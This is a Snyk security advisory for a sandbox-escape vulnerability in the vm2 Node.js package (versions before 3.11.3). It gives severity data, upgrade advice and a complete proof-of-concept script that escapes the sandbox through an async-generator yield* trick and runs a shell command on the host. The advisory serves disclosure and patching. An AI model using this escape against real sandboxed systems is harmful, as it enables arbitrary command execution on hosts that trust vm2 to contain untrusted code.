Arbitrary Code Injection Affecting vm2 package, versions <3.11.3


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (20th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-VM2-16673571
  • published14 May 2026
  • disclosed13 May 2026
  • creditXmiliaH

Introduced: 13 May 2026

NewCVE-2026-45411  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade vm2 to version 3.11.3 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection through the yield* iterator inside an async generator. An attacker can execute arbitrary commands on the host system by escaping the sandbox environment.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
async function* helper() {
    yield* {
        [Symbol.asyncIterator]: ()=>({
            next: v=>({value: v, done: false})
        })
    };
}
async function doCatch(f) {
    const i=helper();
    await i.next();
    const v = await i.return({then(r){f();r();}});
    return v.value;
}
(async function f() {
    let min = 0;
    let max = 10000000;
    while (min<max) {
        const mid = (min+max)>>1;
        const e = await doCatch(()=>so(mid));
        if (e.name==="RangeError" && !(e instanceof RangeError)) {
            e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (e instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
})();
`));

CVSS Base Scores

version 4.0
version 3.1